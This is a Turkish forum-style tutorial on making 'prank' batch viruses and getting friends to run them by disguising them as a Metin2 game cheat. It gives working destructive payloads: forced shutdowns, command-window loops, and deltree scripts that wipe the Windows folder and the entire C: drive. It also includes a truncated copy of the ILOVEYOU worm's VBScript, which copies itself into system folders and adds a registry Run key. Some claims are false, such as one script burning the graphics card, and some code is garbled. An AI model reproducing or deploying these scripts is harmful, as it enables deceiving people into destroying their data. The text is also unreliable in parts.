Şaka Virüsü

Herkeze merhaba arkadaşlar.

Bu gün herkeze arkadaşlaranıza yapabileceğiniz şaka vürüslerini ve geri dönüşümü olmayan vürüs yapımını öğreticem. Bu Konu Hakkında Hiçbir Sorumluluk Kabul Etmemekle Olup Asla Yapılmasına Kimseyi Zorlamıyorum. Neyse İlk olaraka Not defterimizi açıyoruz. Ve hangi .bat vürüsünü yapmak istiyorsak Kodunu yazıyoruz. ( Kodları vericem) Not defterini açdıkdan sonra kodumuzu yazıyoruz. Ve not defterini farklı kaydediyoruz. Kaydederken İsim bölümüne mesela arkadaşlarını kandıracagımız için Metin2BalıkBotu.bat yapıyoruz. Siz daha farklı şeyler yapabilirsiniz ama kesinlikle sonuna .bat eklemeliyiz. Yoksa bat uzantılı dosya olmaz bildigimiz not defteri olur. Nereye kaydettiyseniz o .bat uzantılı dosyayı siz açmayın. Yoksa arkadaşınız diil siz kurban olursunuz. Gelelim asıl meseleye. Şimdi siz bunu böylece arkadaşınıza verirseniz arkadaşınız yemeyebilir. Nedenmi Dosyanın boyutu yok denebilecek kadar az. Bu yüzden Klasör oluşturup içine sallama birşeyler atın daha sonra .bat uzantılı dosyayı atınki hem dosyanın boyutu büyüsün hemde arkadaşınız hile sansın. Daha sonra Winrar İle arşivleyip ister internete upload edin ister sosyal medyadan atın. Yanlız bir sorun var karşı tarafın vürüs programı varsa dosyayı siler. Artık arkadaşınızın kapatması içinde siz bahane bulun Benden bu kadar.

Ve işte Kodlar:

1- Ard arda Cmd açar ancak bilgisayarı restleyince düzelir :

start

goto m

2- Karşı tarafın bilgisayarını Restler ( Yeniden başlatır ) :

shutdown -s -t 60 -c "VForVendetta"

burdaki 60 kaç saniye içinde kapatacağını ayarlar tırnak içindeki kısım ise başlatmadan önce gösterecegi yazıdır.

3- Bu kod ile Masaüstünde 40 tane vürüs isimli boş klasör oluşturacak ve "Çok tehlikeli bir dosya çalıştırdınız ve bilgisayara vürüs bulaştırdınız... "Esc" tuşuna basarak çıkış yapmazsanız bilgisayarınız çökecektir..." diye bir yazı gelecektir 40tane daha Cmd açılacaktır. hangi tuşa basarsa bassın fayda etmez devam edecektir :

md virus1

md virus2

md virus3

md virus4

md virus5

md virus6

md virus7

md virus8

md virus9

md virus10

md virus11

md virus12

md virus13

md virus14

md virus15

md virus16

md virus17

md virus18

md virus19

md virus20

md virus21

md virus22

md virus23

md virus24

md virus25

md virus26

md virus27

md virus28

md virus29

md virus30

md virus31

md virus32

md virus33

md virus34

md virus35

md virus36

md virus37

md virus38

md virus39

md virus40

@echo off

@echo Çok Tehlikeli Bir Dosya Çalıştırdınız...

@echo Ve Bilgisayara Virüs Bulaştırdınız...

@echo "Esc" Tuşuna Basarak Çıkış Yapmazsanız Bilgisayarınız Çökecektir...

Pause>nul

start

4- Karşı tarafın ekranını kapatıp açar :

taskkill /F /IM explorer.exe

start explorer.exe

goto a

5- Hata yazma :

msgbox "buraya istediginizi yazın" . . "burayada hata başlıgını

Daha Sonra DOSYA/FARKLI KAYDET şaka virüsü.vbs Olarak Kaydedelim

Tıklayalım...

Tıklayınca Sizin Yazdığınız Bir Hata Çıkacak Sadece 1 kere

6- Eğer tıklarsanız 2.3 sn içinde bilgisayr kapanıyor ve bir daha açılmıyor. Windowsun önemli birkaç dosyasını siliyor daha sonra "seni salak formatı yedin" yazıyor. Arkadaşlarınıza yapmanızı tavsiye etmem

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\*.*

@echo off

cls

@echo .:seni salak formatı yedin::.

@echo off

7- Ve gelelim geri dönüşü olmayan zararlı .bat vürüslerine

Bu vürüs kurbanın ekran kartını yakar :

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\*.*

@echo off

cls

@echo .:: Buraya İsminiz ::.

@echo off3.

8- Bu .bat vürüsü sayesinde kurbanın bilgisayarını çökertirsiniz mutlaka format atması gerek

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\*.*

@echo off

cls

@echo .::Buraya İsminiz::.

@echo off

9- Ve en tehlikelisi

Karşı tarafın bilgisayarı çöker format atsa bile makinesi birdaha adam olmaz

rem delete -pcas(-vbe)

On es error -pc

On error Next Pc Hack

dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow

eq=""

ctr=0

Set fso = CreateObject("Scripting.FileSystemObject")

set file = fso.OpenTextFile(WScript.ScriptFullname,1)

vbscopy=file.ReadAll

main()

sub main()

On Error Resume Next

dim wscr,rr

set wscr=CreateObject("WScript.Shell")

rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Window s Scripting Host\Settings\Timeout")

if (rr>=1) then

wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"

end if

Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)

Set dirtemp = fso.GetSpecialFolder(2)

Set c = fso.GetFile(WScript.ScriptFullName)

c.Copy(dirsystem&"\MSKernel32.vbs")

c.Copy(dirwin&"\Win32DLL.vbs")

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

regruns()

html()

spreadtoemail()

listadriv()

end sub

sub regruns()

On Error Resume Next

Dim num,downread

regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"

Benden bu kadar arkadaşlar piyasadaki en güvenli vürüsler bunlar. İyi Hileler..

Hiçbir Sorumluluk Kabul Etmiyorum.